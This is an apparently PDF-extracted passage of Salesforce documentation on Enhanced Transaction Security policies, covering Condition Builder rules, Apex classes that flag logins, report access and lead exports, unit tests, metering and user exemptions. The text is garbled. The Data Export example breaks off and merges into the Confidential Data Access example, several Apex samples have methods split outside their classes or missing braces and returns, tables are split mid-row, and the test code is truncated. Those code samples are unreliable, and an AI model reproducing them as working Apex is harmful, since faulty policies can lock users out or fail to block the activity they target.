  - File Name Equals Asset.pdf
Use Custom Logic

**Description of Example:** Track when a user with a username in the @spy.mycompany.com domain queries all the records in a list view named SuperSecureListView.

- **Event:** List View Event
- **Condition Logic:** Custom Condition Logic is Met
- **Custom Condition Logic:** (1 OR 2) AND 3
- **Conditions:**
  - Scope Equals Everything
  - Name Equals SuperSecureListView
  - Username Ends With @spy.mycompany.com
- **Notes:**

*Event:

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>List View Event</td>
<td>Track when users see and interact with a list of records, such as contacts, accounts, or custom objects.</td>
</tr>
</tbody>
</table>

*Condition Logic:

| Condition Logic | (1 OR 2) AND 3 |

*Custom Condition Logic:

<table>
<thead>
<tr>
<th>*Condition</th>
<th>*Operator</th>
<th>*Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Scope</td>
<td>Equals</td>
<td>Everything</td>
</tr>
<tr>
<td>Name</td>
<td>Equals</td>
<td>SuperSecureListView</td>
</tr>
<tr>
<td>Username</td>
<td>Ends With</td>
<td>@spy.mycompany.com</td>
</tr>
</tbody>
</table>
Create an Enhanced Transaction Security Policy That Uses Apex

Use Setup to create an enhanced transaction security policy that uses Apex. You can specify an existing Apex class or create an empty class that you then code. The Apex class must implement the TxnSecurity.EventCondition interface.

You can create multiple policies for the same type of event, but we recommend that your policies and their actions don’t overlap. If multiple policies with the same action for a given event execute when the event occurs, their order of execution is indeterminate.

1. From Setup, in the Quick Find box, enter Transaction Security, and then select Transaction Security Policies.
2. Click New, and then select Apex.
3. Click Next.
4. Select an event that your policy is built on.
   For example, if you want to track API calls in your org, select API Event. If you want to monitor when users view or export reports, select Report Event. See Enhanced Transaction Security for the full list of available events.
5. Select the Apex class that implements your policy. If you haven’t already created the class, select New Empty Apex Class.
6. Click Next.
7. Select the action that the policy performs when triggered.
   The available actions vary depending on the event type. For more information, see Enhanced Transaction Security Actions and Notifications.
   Note: The two-factor authentication action isn’t available in the Salesforce mobile app, Lightning Experience, or via API for events. Instead, the block action is used. For example, if a two-factor authentication policy is triggered on a list view performed via the API, Salesforce blocks the API user.
8. If applicable, choose a block message or notification type and recipient.
9. Enter a name and description for your policy.
   Your policy name must begin with a letter, not end with an underscore, and not contain two consecutive underscores.
10. Optionally, enable the policy.
    If you chose to create an Apex class, don’t enable the policy yet because you must first add code to the class.
11. Click Finish.
    Your new policy appears in the Policies table. If you chose to create an Apex class, its name is the 25 characters of your policy name without spaces appended with the EventCondition string. If your policy is named “My Apex Class,” your Apex class is auto-generated as MyApexClassEventCondition. The class is listed in the Apex Condition column.
12. Click the name of your Apex class if you want to edit it.
    If you chose to create an Apex class, you must add the implementation code. Salesforce adds this basic code to get you started.

```java
global class MyApexClassEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        return false;
    }
}
```
When you delete a transaction security policy that uses Apex, the implementation class isn’t deleted. You can either delete this Apex class separately or reuse it in another policy.

Don’t include DML statements in your Apex-based policies because they can cause errors. When you send a custom email via Apex during transaction policy evaluation, you get an error, even if the record isn’t explicitly related to another record. For more information, see Apex DML Operations in the Apex Reference Guide.

IN THIS SECTION:

Enhanced Apex Transaction Security Implementation Examples
Here are examples of implementing enhanced Apex transaction security.

Asynchronous Apex Example
When executing a transaction security policy, use an asynchronous Apex process to offload time-consuming operations, such as sending a notification email to an external recipient.

Enhanced Transaction Security Apex Testing
Writing robust tests is an engineering best practice to ensure that your code does what you expect and to find errors before your users and customers do. It’s even more important to write tests for your transaction security policy’s Apex code because it executes during critical user actions in your Salesforce org. For example, a bug in your LoginEvent policy that’s not caught during testing can result in locking your users out of your org, a situation best avoided.

SEE ALSO:


Enhanced Apex Transaction Security Implementation Examples
Here are examples of implementing enhanced Apex transaction security.

Login from Different IP Addresses
This example implements a policy that triggers when someone logs in from a different IP address in the past 24 hours.

global class MultipleLoginEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when LoginEvent loginEvent {
                return evaluate(loginEvent);
            }
private boolean evaluate(LoginEvent loginEvent) {
    AggregateResult[] results = [
        SELECT SourceIp
        FROM LoginHistory
        WHERE UserId = :loginEvent.UserId
        AND LoginTime = LAST_N_DAYS:1
        GROUP BY SourceIp];
    if(!results.isEmpty()) {
        return true;
    }
    return false;
}

Logins from a Specific IP Address
This example implements a policy that triggers when a session is created from a specific IP address.

global class SourceIpEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when LoginEvent loginEvent {
                return evaluate(loginEvent);
            }
            when null {
                return false;
            }
            when else{
                return false;
            }
        }
    }
    private boolean evaluate(LoginEvent loginEvent) {
        if (loginEvent.SourceIp.equals('1.1.1.1')) {
            return true;
        }
        return false;
    }
}

Data Export
This example implements a transaction security policy that triggers when more than 2,000 leads are either:
Confidential Data Access

This policy requires everyone to use two-factor authentication before accessing a specific report. You can have sensitive, confidential data in your quarterly Salesforce reports. Make sure that teams that access the reports use two-factor authentication (2FA) for high assurance before they view this data. The policy makes 2FA a requirement, but you can’t provide high-assurance sessions without a way for your teams to meet the 2FA requirements. As a prerequisite, first set up 2FA in your Salesforce environment.

This example highlights the capability of a policy to enforce 2FA for a specific report. The report defined here is any report with “Quarterly Report” in its name. Anyone accessing the report is required to have a high-assurance session using 2FA.

global class ConfidentialDataEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when ReportEvent reportEvent {
                return evaluate(reportEvent);
            }
            when null {
                return false;
            }
            when else{
                return false;
            }
        }
    }

    private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
        if(queriedEntities.contains('Lead') && rowsProcessed > 2000){
            return true;
        }
        return false;
    }
}
private boolean evaluate(ReportEvent reportEvent) {
    // Check if this is a quarterly report.
    if (reportEvent.Name.contains('Quarterly Report')) {
        return true;
    }
    return false;
}

Browser Check

This policy triggers when a user with a known operating system and browser combination tries to log in with another browser on a different operating system.

Many organizations have standard hardware and support specific versions of different browsers. You can use this standard to reduce the security risk for high-impact individuals by acting when logins take place from unusual devices. For example, your CEO typically logs in to Salesforce from San Francisco using a MacBook or Salesforce mobile application on an iPhone. When a login occurs from elsewhere using a Chromebook, it’s highly suspicious. Because hackers do not necessarily know which platforms corporate executives use, this policy makes a security breach less likely.

In this example, the customer organization knows that its CEO uses a MacBook running OS X with the Safari browser. An attempt to log in using the CEO’s credentials with anything else is automatically blocked.

global class AccessEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when LoginEvent loginEvent {
                return evaluate(loginEvent);
            }
            when null {
                return false;
            }
            when else{
                return false;
            }
        }
    }

    private boolean evaluate(LoginEvent loginEvent) {
        // If it’s a Login attempt from our CEO’s user account.
        if (loginEvent.UserId == '005x0000005VmCu') {
            // The policy is triggered when the CEO isn’t using Safari on Mac OS X.
            if (!loginEvent.Platform.contains('Mac OSX') || !loginEvent.Browser.contains('Safari')) {
                return true;
            }
        }
    }
}
Block Logins by Country

This policy blocks access by country.

Your organization has remote offices and a global presence but, due to international law, wants to restrict access to its Salesforce org. This example builds a policy that blocks users logging in from North Korea. If users are in North Korea and use a corporate VPN, their VPN gateway would be in Singapore or the United States. They can log in successfully because Salesforce recognizes the VPN gateway and the internal U.S.-based company IP address.

```java
global class CountryEventCondition implements TxnSecurity.EventCondition {
  public boolean evaluate(SObject event) {
    switch on event{
      when LoginEvent loginEvent {
        return evaluate(loginEvent);
      }
      when null {
        return false;
      }
      when else{
        return false;
      }
    }
  }

  private boolean evaluate(LoginEvent loginEvent) {
    // Get the login's country.
    String country = String.valueOf(loginEvent.Country);

    // Trigger policy and block access for any user trying to log in from North Korea.
    if(country.equals('North Korea')) {
      return true;
    }
    return false;
  }
}
```

You can also restrict access to other values, like postal code or city.

Block an Operating System

This policy blocks access for anyone using an older version of the Android OS.

You’re concerned about a specific mobile platform’s vulnerabilities and its ability to capture screenshots and read data while accessing Salesforce. If the device is not running a security client, you could restrict access from device platforms that use operating systems with known vulnerabilities. This policy blocks devices using Android 5.0 and earlier.

```java
global class AndroidEventCondition implements TxnSecurity.EventCondition {
  public boolean evaluate(SObject event) {
    // Get the Android version.
    String osVersion = String.valueOf(event.AndroidVersion);

    // Trigger policy and block access for any user trying to log in from Android 5.0 and earlier.
    if(osVersion.equals('Android 5.0')) {
      return true;
    }
    return false;
  }
}
```
switch on event{
    when LoginEvent loginEvent {
        return evaluate(loginEvent);
    }
    when null {
        return false;
    }
    when else{
        return false;
    }
}

private boolean evaluate(LoginEvent loginEvent) {
    String platform = loginEvent.Platform;
    // Block access from Android versions less than 5
    if (platform.contains('Android') && platform.compareTo('Android 5') < 0) {
        return true;
    }
    return false;
}

SEE ALSO:

Asynchronous Apex Example

When executing a transaction security policy, use an asynchronous Apex process to offload time-consuming operations, such as sending a notification email to an external recipient.

This example has two parts. First, you create an asynchronous Apex class that uses an event within the execute method to invoke a callout or a DML operation. Second, you create a transaction security policy and modify the Apex class to implement TxnSecurity.EventCondition and TxnSecurity.AsyncCondition.

TxnSecurity.AsyncCondition enqueues the asynchronous Apex process when you trigger the transaction security policy.

Note: Only DML operations and callouts are supported when you use asynchronous Apex with an enhanced transaction security policy.

Create Asynchronous Apex Class

In this section, you create an asynchronous Apex class that takes in an SObject. In this example, we use ApiEvent. Then you invoke a callout or a DML operation.

```java
public class SimpleAsynchronousApex implements Queueable {
    private ApiEvent apiEvent;

    public SimpleAsynchronousApex(ApiEvent apiEvent) {
        this.apiEvent = apiEvent;
    }
}
```
public void execute(QueueableContext context) {
// Perform your callout to external validation service
// or a DML operation
}

Create Policy

In this section, you create the transaction security policy, which modifies the Apex class associated with the policy. Then you create the SimpleAsynchronousApex object, pass in the ApiEvent, and enqueue the job.

global class SimpleApiEventCondition implements TxnSecurity.EventCondition, TxnSecurity.AsyncCondition {
    public boolean evaluate(SObject event) {
        // Cast SObject to an ApiEvent object
        ApiEvent apiEvent = (ApiEvent) event;
        SimpleAsynchronousApex simpleAsynchronousApex = new SimpleAsynchronousApex(apiEvent);

        System.enqueueJob(simpleAsynchronousApex);
        return false;
        // In a typical implementation may return true if it triggers an action
    }
}

SEE ALSO:
- *Apex Developer Guide: Queueable Apex*
- *Apex Reference Guide: Apex Implementation Examples*
- *Apex Developer Guide: Asynchronous Apex*
- *Apex Developer Guide: Invoking Callouts Using Apex*

Enhanced Transaction Security Apex Testing

Writing robust tests is an engineering best practice to ensure that your code does what you expect and to find errors before your users and customers do. It’s even more important to write tests for your transaction security policy’s Apex code because it executes during critical user actions in your Salesforce org. For example, a bug in your LoginEvent policy that’s not caught during testing can result in locking your users out of your org, a situation best avoided.

⚠️ **Warning:** Use API version 47.0 or later when writing Apex tests for enhanced transaction security policies.

When you test your Apex code by simulating a set of conditions, you are by definition writing unit tests. But writing unit tests isn’t enough. Work with your business and security teams to understand all your use cases. Then create a comprehensive test plan that mimics your actual users’ experience using test data in a sandbox environment. The test plan typically includes both manual testing and automated testing using external tools such as Selenium.

Let’s look at some sample unit tests to get you started. Here’s the Apex policy that we want to test.

global class LeadExportEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {

```java
switch on event{
    when ApiEvent apiEvent {
        return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
    }
    when ReportEvent reportEvent {
        return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
    }
    when ListViewEvent listViewEvent {
        return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);
    }
    when null {
        return false;
    }
    when else {
        return false;
    }
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
    if (queriedEntities.contains('Lead') && rowsProcessed > 2000){
        return true;
    }
    return false;
}
```

Plan and Write Tests
Before we start writing tests, let’s outline the positive and negative use cases that our test plan covers.

<table>
<thead>
<tr>
<th>If the evaluate method receives...</th>
<th>And ...</th>
<th>Then the evaluate method returns...</th>
</tr>
</thead>
<tbody>
<tr>
<td>An ApiEvent object</td>
<td>The ApiEvent has Lead in its QueriedEntities field and a number greater than 2000 in its RowsProcessed field</td>
<td>true</td>
</tr>
<tr>
<td>A ReportEvent object</td>
<td>The ReportEvent has Lead in its QueriedEntities field and a number greater than 2000 in its RowsProcessed field</td>
<td>true</td>
</tr>
<tr>
<td>A ListViewEvent object</td>
<td>The ListViewEvent has Lead in its QueriedEntities field and a number greater than 2000 in its RowsProcessed field</td>
<td>true</td>
</tr>
<tr>
<td>Any event object</td>
<td>The event doesn’t have Lead in its QueriedEntities field and has a</td>
<td>false</td>
</tr>
</tbody>
</table>
Then the `evaluate` method returns...

<table>
<thead>
<tr>
<th>If the <code>evaluate</code> method receives...</th>
<th>And ...</th>
<th>Then the <code>evaluate</code> method returns...</th>
</tr>
</thead>
<tbody>
<tr>
<td>number greater than 2000 in its <code>RowsProcessed</code> field</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Any event object</td>
<td>The event has <code>Lead</code> in its <code>QueriedEntities</code> field and has a number less than or equal to 2000 in its <code>RowsProcessed</code> field</td>
<td>false</td>
</tr>
<tr>
<td>Any event object</td>
<td>The event doesn't have <code>Lead</code> in its <code>QueriedEntities</code> field and has a number less than or equal to 2000 in its <code>RowsProcessed</code> field</td>
<td>false</td>
</tr>
</tbody>
</table>

Table 5: Negative Test Cases

<table>
<thead>
<tr>
<th>If the <code>evaluate</code> method receives...</th>
<th>And ...</th>
<th>Then the <code>evaluate</code> method returns...</th>
</tr>
</thead>
<tbody>
<tr>
<td>A <code>LoginEvent</code> object</td>
<td>(no condition)</td>
<td>false</td>
</tr>
<tr>
<td>A <code>null</code> value</td>
<td>(no condition)</td>
<td>false</td>
</tr>
<tr>
<td>An <code>ApiEvent</code> object</td>
<td>The <code>QueriedEntities</code> field is null</td>
<td>false</td>
</tr>
<tr>
<td>An <code>ReportEvent</code> object</td>
<td>The <code>RowsProcessed</code> field is null</td>
<td>false</td>
</tr>
</tbody>
</table>

Here's the Apex testing code that implements all of these use cases.

```java
/**
 * Tests for the `LeadExportEventCondition` class, to make sure that our Transaction Security Apex
 * logic handles events and event field values as expected.
 **/  
@isTest  
public class LeadExportEventConditionTest {

  /**
   * ------------ POSITIVE TEST CASES ------------
   */

  /**
   * Positive test case 1: If an `ApiEvent` has `Lead` as a queried entity and more than 2000 rows
   * processed, then the evaluate method of our policy's Apex should return true.
   **/
  static testMethod void testApiEventPositiveTestCase() {
    // set up our event and its field values
    ApiEvent testEvent = new ApiEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = 2001;
```

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LeadExportEventCondition  eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));
}

/**
 * Positive test case 2: If a ReportEvent has Lead as a queried entity and more than 2000 rows processed, then the evaluate method of our policy's Apex should return true.
 **/
static testMethod void testReportEventPositiveTestCase() {
    // set up our event and its field values
    ReportEvent testEvent = new ReportEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = 2001;

    // test that the Apex returns true for this event
    LeadExportEventCondition  eventCondition = new LeadExportEventCondition();
    System.assert(eventCondition.evaluate(testEvent));
}

/**
 * Positive test case 3: If a ListViewEvent has Lead as a queried entity and more than 2000 rows processed, then the evaluate method of our policy's Apex should return true.
 **/
static testMethod void testListViewEventPositiveTestCase() {
    // set up our event and its field values
    ListViewEvent testEvent = new ListViewEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = 2001;

    // test that the Apex returns true for this event
    LeadExportEventCondition  eventCondition = new LeadExportEventCondition();
    System.assert(eventCondition.evaluate(testEvent));
}

/**
 * Positive test case 4: If an event does not have Lead as a queried entity and has more than 2000 rows processed, then the evaluate method of our policy's Apex should return false.
 **/
static testMethod void testOtherQueriedEntityPositiveTestCase() {
    // set up our event and its field values
    ApiEvent testEvent = new ApiEvent();
    testEvent.QueriedEntities = 'Account';
    testEvent.RowsProcessed = 2001;

    // test that the Apex returns false for this event
    LeadExportEventCondition  eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}
/**
 * Positive test case 5: If an event has Lead as a queried entity and does not have
 * more than 2000 rows processed, then the evaluate method of our policy's Apex
 * should return false.
 **/
static testMethod void testFewerRowsProcessedPositiveTest() {
    // set up our event and its field values
    ReportEvent testEvent = new ReportEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = 2000;

    // test that the Apex returns false for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
 * Positive test case 6: If an event does not have Lead as a queried entity and does
 * not have
 * more than 2000 rows processed, then the evaluate method of our policy's Apex
 * should return false.
 **/
static testMethod void testNoConditionsMetPositiveTest() {
    // set up our event and its field values
    ListViewEvent testEvent = new ListViewEvent();
    testEvent.QueriedEntities = 'Account';
    testEvent.RowsProcessed = 2000;

    // test that the Apex returns false for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(testEvent));
}

/**
 * ------------ NEGATIVE TEST CASES ------------
 **/

/**
 * Negative test case 1: If an event is a type other than ApiEvent, ReportEvent, or
 * ListViewEvent,
 * then the evaluate method of our policy's Apex should return false.
 **/
static testMethod void testOtherEventObject() {
    LoginEvent loginEvent = new LoginEvent();
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assertEquals(false, eventCondition.evaluate(loginEvent));
}

/**
 * Negative test case 2: If an event is null, then the evaluate method of our policy's
 * Apex should return false.
 **/
Refine the Policy Code After Running the Tests

Let's say you run the tests and the testNullQueriedEntities test case fails with the error System.NullPointerException: Attempt to de-reference a null object. Great news, the tests identified an area of the transaction security policy that isn't checking for unexpected or null values. Because policies run during critical org operations, make sure that the policies fail gracefully if there's an error so that they don't block important functionality.

Here's how to update the evaluate method in the Apex class to handle those null values gracefully.

```java
private boolean evaluate(String queriedEntities, Decimal rowsProcessed) {
    boolean containsLead = queriedEntities != null ? queriedEntities.toLowerCase().contains('lead') : false;
    if (containsLead && rowsProcessed > 2000) {
        return true;
    }
    return false;
}
```

We've changed the code so that before performing the .contains operation on the queriedEntities variable, we first check if the value is null. This change ensures that the code doesn't dereference a null object.
In general, when you encounter unexpected values or situations in your Apex code, you have two options. Determine what is best for your users when deciding which option to choose:

- Ignore the values or situation and return `false` so that the policy doesn’t trigger.
- Fail-close the operation by returning `true`.

**Advanced Example**

Here’s a more complex Apex policy that uses SOQL queries to get the profile of the user who is attempting to log in.

```apex
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {

  // For these powerful profiles, let’s prompt users to complete 2FA
  private Set<String> PROFILES_TO_MONITOR = new Set<String> {
    'System Administrator',
    'Custom Admin Profile'
  };

  public boolean evaluate(SObject event) {
    LoginEvent loginEvent = (LoginEvent) event;
    String userId = loginEvent.UserId;

    // get the Profile name from the current users profileId
    Profile profile = [SELECT Name FROM Profile WHERE Id IN
      (SELECT profileId FROM User WHERE Id = :userId)];

    // check if the name of the Profile is one of the ones we want to monitor
    if (PROFILES_TO_MONITOR.contains(profile.Name)) {
      return true;
    }
    return false;
  }
}
```

Here’s our test plan:

- **Positive Test Cases**
  - If the user attempting to log in has the profile we’re interested in monitoring, then the `evaluate` method returns `true`.
  - If the user attempting to log in doesn’t have the profile we’re interested in monitoring, then the `evaluate` method returns `false`.

- **Negative Test Cases**
  - If querying for the Profile object throws an exception, then the `evaluate` method returns `false`.
  - If querying for the Profile object returns null, then the `evaluate` method returns `false`.

Because every Salesforce user is always assigned a profile, there’s no need to create a negative test for it. It’s also not possible to create actual tests for the two negative test cases. We take care of them by updating the policy itself. But we explicitly list the use cases in our plan to make sure that we cover many different situations.
The positive test cases rely on the results of SQQL queries. To ensure that these queries execute correctly, we must also create some test data. Let’s look at the test code.

```java
/**
 * Tests for the ProfileIdentityEventCondition class, to make sure that our
 * Transaction Security Apex logic handles events and event field values as expected.
 **/
@isTest
public class ProfileIdentityEventConditionTest {

  /**
   * ------------ POSITIVE TEST CASES ------------
   **/
  /**
   * Positive test case 1: Evaluate will return true when user has the "System
   * Administrator" profile.
   **/
  static testMethod void testUserWithSysAdminProfile() {
    // insert a User for our test which has the System Admin profile
    Profile profile = [SELECT Id FROM Profile WHERE Name='System Administrator'];
    assertOnProfile(profile.id, true);
  }

  /**
   * Positive test case 2: Evaluate will return true when the user has the "Custom
   * Admin Profile"
   **/
  static testMethod void testUserWithCustomProfile() {
    // insert a User for our test which has the System Admin profile
    Profile profile = [SELECT Id FROM Profile WHERE Name='Custom Admin Profile'];
    assertOnProfile(profile.id, true);
  }

  /**
   * Positive test case 3: Evaluate will return false when user doesn't have
   * a profile we're interested in. In this case we'll be using a profile called
   * 'Standard User'.
   **/
  static testMethod void testUserWithSomeProfile() {
    // insert a User for our test which has the System Admin profile
    Profile profile = [SELECT Id FROM Profile WHERE Name='Standard User'];
    assertOnProfile(profile.id, false);
  }

  /**
   * Helper to assert on different profiles.
   **/
  static void assertOnProfile(String profileId, boolean expected)
  {
    User user = createUserWithProfile(profileId);
    insert user;

    // set up our event and its field values
    LoginEvent testEvent = new LoginEvent();
    testEvent.UserId = user.Id;
  }
}
```
// test that the Apex returns true for this event
ProfileIdentityEventCondition eventCondition = new
ProfileIdentityEventCondition();
System.assertEquals(expected, eventCondition.evaluate(testEvent));
}
/**
 * Helper to create a user with the given profileId.
 **/ static User createUserWithProfile(String profileId){
 // Usernames have to be unique.
 String username = 'ProfileIdentityEventCondition@Test.com';

 User user = new User(Alias = 'standt', Email='standarduser@testorg.com',
 EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
 LocaleSidKey='en_US', ProfileId = profileId,
 TimeZoneSidKey='America/Los_Angeles', UserName=username); return user;
}

Let's handle the two negative test cases by updating the transaction security policy code to check for exceptions or null results when querying the Profile object.

global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {

    // For these powerful profiles, let's prompt users to complete 2FA
    private Set<String> PROFILES_TO_MONITOR = new Set<String> {
        'System Administrator',
        'Custom Admin Profile'
    };

    public boolean evaluate(SObject event) {
        try{
            LoginEvent loginEvent = (LoginEvent) event;
            String userId = loginEvent.UserId;

            // get the Profile name from the current users profileId
            Profile profile = [SELECT Name FROM Profile WHERE Id IN
            (SELECT profileId FROM User WHERE Id = :userId)];

            if (profile == null){
                return false;
            }

            // check if the name of the Profile is one of the ones we want to monitor
            if (PROFILES_TO_MONITOR.contains(profile.Name)) {
                return true;
            }
            return false;
        } catch(Exception ex){
            System.debug('Exception: ' + ex);
            return false;
        }
    }
}
Best Practices for Writing and Maintaining Enhanced Transaction Security Policies

Transaction security policy management isn’t always easy, especially when you have many policies. To make sure that your policies remain functional, write and maintain them using these best practices. Well-structured and tested policies keep your employees and customers connected, productive, and secure.

Writing Policies

Use these general guidelines as you write your policies.

Know your users

Do your users use features that work best with certain browsers? Do they rely on mobile devices in the field? Have features that your users regularly access changed? Think about what your users experience during their day-to-day work, and write your policies with those behaviors in mind. Remember: Policies prevent activities that are genuinely out of bounds, and they must not prevent users from completing core job tasks.

Know what’s coming

To check whether the features that your users rely on change, read the Salesforce release notes. Feature changes can sometimes cause your policies to behave unexpectedly.

Know your environments

Use sandbox environments to your advantage. Run your policies in a sandbox under conditions similar to your production org. Let policies run for 24 hours to see how they work. Use this feedback to evaluate how your policy functions in the conditions it has to work under.

Know your policies

To avoid confusion and lighten your maintenance load, create only one policy per event. Schedule regular policy maintenance and reviews to make sure that you don’t have policies that counteract one another. Check the Salesforce release notes for feature updates that might change the way your policies behave.

Use these guidelines if you write an Apex-based policy rather than use Condition Builder.

Know your code

If you have an Apex developer in your organization, work with the developer as you write your policy. By consulting with someone who knows the ins and outs of Apex, you can team up to write robust and reliable policies and tests. If you don’t have access to an Apex expert, learn about Apex by taking the Apex Basics Trailhead module or studying the Apex Developer Guide.

Know your limits

Because Apex runs in a multi-tenant environment, the Apex runtime engine strictly enforces limits. Enforcing limits ensures that runaway Apex code or processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception that cannot be handled. Limits vary based on the event that the policy is based on. Construct your policies with these limits in mind. Read more about Apex Governors and Limits.

Testing Policies

Testing policies is the best way to make sure that you’re crafting the right solution for your organization and your users.

- Try out your policies in a sandbox. Then deploy your security policy in a production org when you’re certain your policy works.
• If you make far-reaching changes in your org, retest your policies to make sure that they are compatible with the changes you made. For example, if you create a workflow for field employees that generates a report, check all report event policies that could be affected.

• If your policy is Apex-based, follow Apex testing best practices.

• Run data silo tests. These tests run faster, produce easy-to-diagnose failures, and are more reliable.

Troubleshooting

Something is wrong with my policy. Where do I start?
Use the error message that your policy creates as a starting point. Check the Apex Developer Guide for advice on the error category.

My policy shuts down before it executes.
Policies don’t execute if they take too long to perform all their actions. Streamline your policy, and make sure that it’s within the metering limit.

I have multiple policies for the same event. What do I do?
In general, make only as many policies as you can manage and maintain. There’s no limit on the number of policies you can create, but not all policies trigger. Policies are prioritized, and trigger in this order: block the operation, require multi-factor authentication, no action. If you have multiple policies for the same event, not all of those policies trigger. For example, let’s say you have two policies for one event, but one policy blocks the operation and the second is set to require multi-factor authentication. The policy that blocks the user executes first and if it triggers, the other policy doesn’t execute.

My policy isn’t working. How do I debug it?
First, disable the policy and move it to a sandbox. You don’t want a broken policy to cause problems for your colleagues or customers while you troubleshoot. Then evaluate whether the issue is with your policy settings or the Apex code if your policy is Apex-based.

• If you think your settings are the source of the problem, evaluate the policy’s conditions and actions in your sandbox. Adjust the policy’s settings, and test for the behaviors you want.

• If you suspect that the problem is with your Apex code, you can debug Apex using the Developer Console and debug logs.

I can’t turn off my policy, and it’s blocking my users in production. What do I do?
Check for known issues documented in Knowledge Articles or Known Issues. These resources explain issues that other customers experienced, along with functional workarounds. If that doesn’t work, contact Salesforce.

Enhanced Transaction Security Metering

Transaction Security uses resource metering to help prevent malicious or unintentional monopolization of shared, multi-tenant platform resources. Metering prevents transaction security policy evaluations from using too many resources and adversely affecting your Salesforce org.

Salesforce meters transaction security policies for uniform resource use. If a policy request can’t be handled within three seconds, a fail-close behavior occurs, and access is blocked. Transaction Security implements metering by limiting policy execution. If the elapsed execution time exceeds three seconds, the user’s request is denied.

Here’s an example of how metering works. Let’s say your org has four LoginEvent policies set up with a notification action. A user triggers every policy. The first three execute within three seconds, but the final policy exceeds the three-second limit. Transaction Security stops processing the policies and fails closed, blocking the user’s login request. Because the policy evaluations didn’t finish, a notification isn’t sent.
Bypass Metering-Related Blocking

Legitimate long-running processes, such as bulk API calls, can cause transaction security policy requests to take more than the allotted time. In these cases, metering initiates and blocks the user’s action.

If you encounter this situation regularly, you can prevent metering from blocking user actions with the `bypassMeteringBlock` field on the EventSetting metadata type. If all your transaction security policies specify no action, metering doesn’t block user operations. If metering occurs, policy notifications aren’t sent. Policies with block actions still block when triggered.

SEE ALSO:
  Metadata API Developer Guide: EventSettings

Exempt Users from Transaction Security Policies

If you have transaction security policies that work well for most users, but not all, you can assign specific users the Exempt from Transaction Security user permission. Assign this permission only when business-critical actions are regularly blocked by transaction security policy metering. For example, assign it to users who make bulk or automated bulk API calls. You can assign this user permission to integration users or admins responsible for transaction security policies who you don’t want to get blocked.

Note: The Exempt from Transaction Security user permission doesn’t apply to the LoginEvent type. Transaction Security policies can’t check a user permission until after the user logs in.

1. Do one of the following:
   a. From Setup, in the Quick Find box, enter Permission Sets, and then select Permission Sets.
   b. From Setup, in the Quick Find box, enter Profiles, and then select Profiles.

2. Select a permission set or profile.

3. Depending on whether you’re using permission sets or profiles, do one of the following:
   a. In permission sets or the enhanced profile user interface, select a permission. In the Find Settings dialog box, enter Exempt from Transaction Security. Click Edit, select the option, and click Save.

   b. In the original profile user interface, select a profile name, and then click Edit. Select Exempt from Transaction Security. Click Save.
Test and Troubleshoot Your New Enhanced Policy

If your enhanced transaction security policy isn’t behaving as you expect, check out these testing and troubleshooting tips to diagnose the problem.

Test in a Sandbox

Always test a new policy in a sandbox before deploying it to production. While in your sandbox, create and enable the policy, and then try different actions to test whether it’s executing as you expect.

For example, if you want your ReportEvent policy to block all report exports on leads, try different report operations to ensure that they’re being blocked. For example:

- Run standard reports on leads.
- Create a custom report type on leads, and run reports that use that type.
- Execute report REST API queries on leads.

Check Your Policy Conditions

If your policy isn’t working as you expect, it’s possible that you added the wrong conditions. Event Manager is a great tool to troubleshoot policy conditions. When you enable storage or streaming for your event from the Event Manager UI, you can examine the field values for real events in your org. You can then compare these actual values with the values that you expect and see if they match.

For example, let’s say you create a ReportEvent policy with the condition “QueriedEntities equals Lead.” You then run a custom report type in your org that contains Lead objects. You expect the policy to trigger, but it doesn’t. Try these steps to find the problem.

2. Run your custom report type again so that a ReportEvent entry is stored.
3. From an API client such as Postman, query your ReportEvent event objects, and find the entry that corresponds to this recent run of the custom report type.
4. Check the value of the QueriedEntities field. Is it what you expected? If it isn’t, change your condition. For example, if your custom report type is on more than just leads, the value of QueriedEntities is something like Lead, Campaign, MyCustomObject__c. In this case, change your policy condition to be “QueriedEntities contains Lead.”

Add Automated Apex Tests

Automated Apex tests are a good way to find typos, logical flaws, and regressions in the Apex code for your new enhanced policy. In general, it’s a best practice to write automated tests early in the development cycle. Testing ensures that you fix malfunctioning policies before they negatively affect your production users.

For example, the Lead Data Export Apex class contains a typo so that the condition tests for Laed instead of Lead. When you execute this Apex test, it fails, so you know that something is wrong.

```java
/** *
 * Tests for the LeadExportEventCondition class, to make sure that our Transaction Security Apex *
 * logic handles events and event field values as expected. *
 **/ *
 @isTest *
 public class LeadExportEventConditionTest {
    /**
```
* Test Case 1: If an ApiEvent has Lead as a queried entity and more than 2000 rows processed, then the evaluate method of our policy’s Apex should return true. **/

```java
